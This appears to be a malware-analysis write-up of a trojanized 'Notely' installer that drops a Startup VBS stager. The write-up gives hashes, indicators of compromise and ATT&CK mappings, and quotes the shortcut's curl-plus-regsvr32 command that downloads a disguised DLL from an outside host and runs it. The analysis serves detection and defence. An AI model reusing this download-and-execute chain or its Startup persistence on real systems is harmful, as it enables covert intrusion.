0x The Malware Lab
Dropper
Dropper.NotelyWitch.Win64

Win64 · NotelyWitch

A trojanized "Notely" installer. It installs a real, working decoy app while quietly dropping a VBS script into Startup. On next login the script unpacks a shortcut that uses curl to fetch a malicious DLL (disguised as a .jpg) and loads it with regsvr32 for persistence and stage-2 execution.

Identification

Original name
Dropper.Trojan.exe.malz
Aliases
Dropper.Trojan.exe.malz, notely-setup-x64.msi, WitchABy.jpg
File type
MSI installer bundling PE32+ executables (x86-64)
SHA256
1866B0E00325EE8907052386A9286E6ED81695A2EB35D5BE318D71D91FBCE2DB
MD5
F13923CDCB65993835C8FC538E03D131

Capabilities

Indicators of Compromise

Network indicators

TypeValueNote
urlconsumerfinancereport.local/blog/index/witchABy.jpgStage-2 DLL download (disguised as a JPG), fetched by curl
domainconsumerfinancereport.localPayload delivery host

Host indicators

TypeValueNote
file%APPDATA%\Emergreport.zipArchive unpacked by the Startup VBS script
file%APPDATA%\Emergreport.lnkMalicious shortcut carrying the curl + regsvr32 command line
file%APPDATA%\oneWitch.pngDownloaded DLL saved here (actually a PE32+ DLL, not a PNG)
pathStartup folder VBS script (runs on login)Persistence mechanism
commandcurl -s -o %appdata%\oneWitch.png consumerfinancereport.local/blog/index/witchABy.jpg && ping -n 1 127.0.0.1 (x4) && regsvr32 %appdata%\OneWitch.pngCommand embedded in Emergreport.lnk

MITRE ATT&CK

TechniqueIDNote
Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderT1547.001VBS script dropped into the Startup folder runs at login.
System Binary Proxy Execution: Regsvr32T1218.010Loads the malicious DLL via regsvr32.
Command and Scripting Interpreter: Visual BasicT1059.005VBS script performs the unpack-and-run stage.
Ingress Tool TransferT1105curl fetches the stage-2 DLL from the C2.
Masquerading: Masquerade File TypeT1036.008DLL is delivered and stored with a .jpg / .png extension.

Execution flow

1. The victim runs the trojanized Notely installer. Notely installs and works normally as a decoy. 2. The installer also drops a VBS script into Startup. 3. On next login the VBS unzips %APPDATA%\Emergreport.zip, producing Emergreport.lnk, and runs it. 4. The shortcut runs curl to download witchABy.jpg from consumerfinancereport.local, saving it as %APPDATA%\oneWitch.png. 5. It pings 127.0.0.1 several times to delay execution. 6. regsvr32 loads oneWitch.png — which is actually a DLL — completing stage-2 execution.

Static analysis

The overall package contains two files of interest: notely-setup-x64.msi and WitchABy.jpg, which is actually a PE32+ DLL, not an image.

notely.exe — SHA256 1e4e1ea2c70ee5634447cf20fdc35a90c7c6d82b5a43f91e613101a05fcbeba7, MD5 bf350faef28f48c03eca2f255b355b06. Analysis of the assembly and runtime behaviour shows it just displays a "we are still working on it" window — a decoy.

WitchABy.jpg — SHA256 37bd2dbe0ac7c2363313493b11577fdba37af73b3ee56154cdef0cb8b07b751e, MD5 bea6ff6ce754565d2c0da15476eabcd5. file reports: PE32+ executable (DLL) (console) x86-64, for MS Windows. Strings return nothing interesting except markers indicating it was built with Nim. The IAT is dominated by VirtualProtect, process-control, and RtlAddFunctionTable calls.

Dynamic analysis

After installation, Notely is present but a VBS script is added to Startup that executes on login:


Sub ExtractFilesFromZip(pathToZipFile, dirToExtractFiles)
  ... uses Shell.Application to unzip ...
End Sub
ExtractFilesFromZip appData + "\Emergreport.zip", appData
objWShell.Run("""%APPDATA%\Emergreport""")

The script unzips a file in %APPDATA% and runs the resulting Emergreport.lnk. file Emergreport.lnk confirms it is a Windows shortcut with command-line arguments. The command:


call %windir%\system32\curl -s -o %appdata%\oneWitch.png \
  consumerfinancereport.local/blog/index/witchABy.jpg \
  && ping -n 1 127.0.0.1 (x4) \
  && %windir%\system32\regsvr32 %appdata%\OneWitch.png

fetches witchABy.jpg from consumerfinancereport, saves it as oneWitch.png, pings localhost to delay, then loads the DLL with regsvr32. Because this runs at startup, nothing is noticed at install time.

Conclusion

The Notely installer drops a stager: a VBS script in Startup that unzips and runs a shortcut, which downloads and executes the real payload (the Nim DLL WitchABy.jpg) via regsvr32 — using the Notely app as a convincing decoy.

Screenshots

Bundled files — Notely installer and WitchABy.jpg
Bundled files — Notely installer and WitchABy.jpg
Notely decoy application
Notely decoy application
VBS script placed in Startup
VBS script placed in Startup
Emergreport.lnk shortcut details
Emergreport.lnk shortcut details
curl + regsvr32 command line
curl + regsvr32 command line
WitchABy.jpg identified as a PE32+ DLL
WitchABy.jpg identified as a PE32+ DLL
Nim build markers in strings
Nim build markers in strings
DLL imports (PEView)
DLL imports (PEView)
Dynamic behaviour
Dynamic behaviour
Persistence chain overview
Persistence chain overview
← All samples